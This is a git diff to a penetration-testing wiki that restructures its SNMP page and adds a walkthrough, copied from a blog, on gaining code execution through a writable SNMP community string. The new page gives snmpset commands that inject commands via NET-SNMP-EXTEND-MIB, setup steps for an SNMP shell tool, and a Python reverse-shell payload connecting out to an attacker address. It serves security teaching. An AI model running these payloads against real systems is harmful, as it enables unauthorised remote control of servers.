diff --git a/SUMMARY.md b/SUMMARY.md index 28021666c..2d2b49504 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -246,7 +246,8 @@ * [137,138,139 - Pentesting NetBios](pentesting/137-138-139-pentesting-netbios.md) * [139,445 - Pentesting SMB](pentesting/pentesting-smb.md) * [143,993 - Pentesting IMAP](pentesting/pentesting-imap.md) -* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp.md) +* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp/README.md) + * [SNMP RCE](pentesting/pentesting-snmp/snmp-rce.md) * [194,6667,6660-7000 - Pentesting IRC](pentesting/pentesting-irc.md) * [264 - Pentesting Check Point FireWall-1](pentesting/pentesting-264-check-point-firewall-1.md) * [389, 636, 3268, 3269 - Pentesting LDAP](pentesting/pentesting-ldap.md) diff --git a/pentesting/pentesting-snmp.md b/pentesting/pentesting-snmp/README.md similarity index 96% rename from pentesting/pentesting-snmp.md rename to pentesting/pentesting-snmp/README.md index 8b9dc6466..b350210ac 100644 --- a/pentesting/pentesting-snmp.md +++ b/pentesting/pentesting-snmp/README.md @@ -19,7 +19,7 @@ Scalar objects define a single object instance whereas tabular objects define mu **OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs \(OIDs\) belong to different standard organizations. **Vendors define private branches including managed objects for their own products.** -![](../.gitbook/assets/snmp_oid_mib_tree.png) +![](../../.gitbook/assets/snmp_oid_mib_tree.png) You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=\#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** \(like `1.3.6.1.2.1.1`\) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1). There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol \(SNMP\) variables. And from the **OIDs pending from this one** you can obtain some interesting host data \(system data, network data, processes data...\) @@ -85,7 +85,7 @@ In versions 1 and 2/2c if you to use a **bad** community string the server wont ## Brute-Force Community String \(v1 and v2c\) -To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../brute-force.md#snmp). +To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../brute-force.md#snmp). ## Enumerating SNMP @@ -111,6 +111,12 @@ And **in** _**/etc/snmp/snmp.conf**_ **comment the line "mibs :"** **SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** \(IPv4 and **IPv6** address\) and **processes running** \(may contain passwords\).... +## From SNMP to RCE + +If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**: + +{% page-ref page="snmp-rce.md" %} + ## **Massive SNMP** [Braa ](https://github.com/mteg/braa)is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast. diff --git a/pentesting/pentesting-snmp/snmp-rce.md b/pentesting/pentesting-snmp/snmp-rce.md new file mode 100644 index 000000000..c7b98c38d --- /dev/null +++ b/pentesting/pentesting-snmp/snmp-rce.md @@ -0,0 +1,78 @@ +# SNMP RCE + +This post was copied from [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/) + +SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions \(**rwcommunity**\) on the Linux operating system can be abused to let the attacker execute a command on the server. + +![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508) + +## **Extending the Services** + +While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “**read-create**” + +Adding a new command basically works by appending an additional row to the “**nsExtendObjects**” table. + +```bash +snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ +'nsExtendStatus."evilcommand"' = createAndGo \ +'nsExtendCommand."evilcommand"' = /bin/echo \ +'nsExtendArgs."evilcommand"' = 'hello world' +``` + +Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable. + +![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916) + +Executing the command that we injected to the SNMP by enumerating it using snmpwalk + +```bash +snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects +``` + +Showing that the command is /bin/echo. + +![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569) + +The command will be executed when the it is read. **run-on-read\(\)** + +![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612) + +The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read + +![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653) + +## **Getting the Shell** **from Net-SNMP Extend** + +In this section, I would like to discuss how to gain a server shell to control the server. + +You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) + +You can install the pre-requisite to run this: + +```bash +sudo apt install snmp snmp-mibs-downloader rlwrap -y +git clone https://github.com/mxrch/snmp-shell +cd snmp-shell +sudo python3 -m pip install -r requirements.txt +``` + +![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723) + +**Creating reverse shell** + +You can also create reverse shell manually by injecting the command below into the SNMP + +```bash +snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"' +``` + +![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930) + +run the snmpwalk to trigger the command execution + +![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687) + +Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine + +![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502) +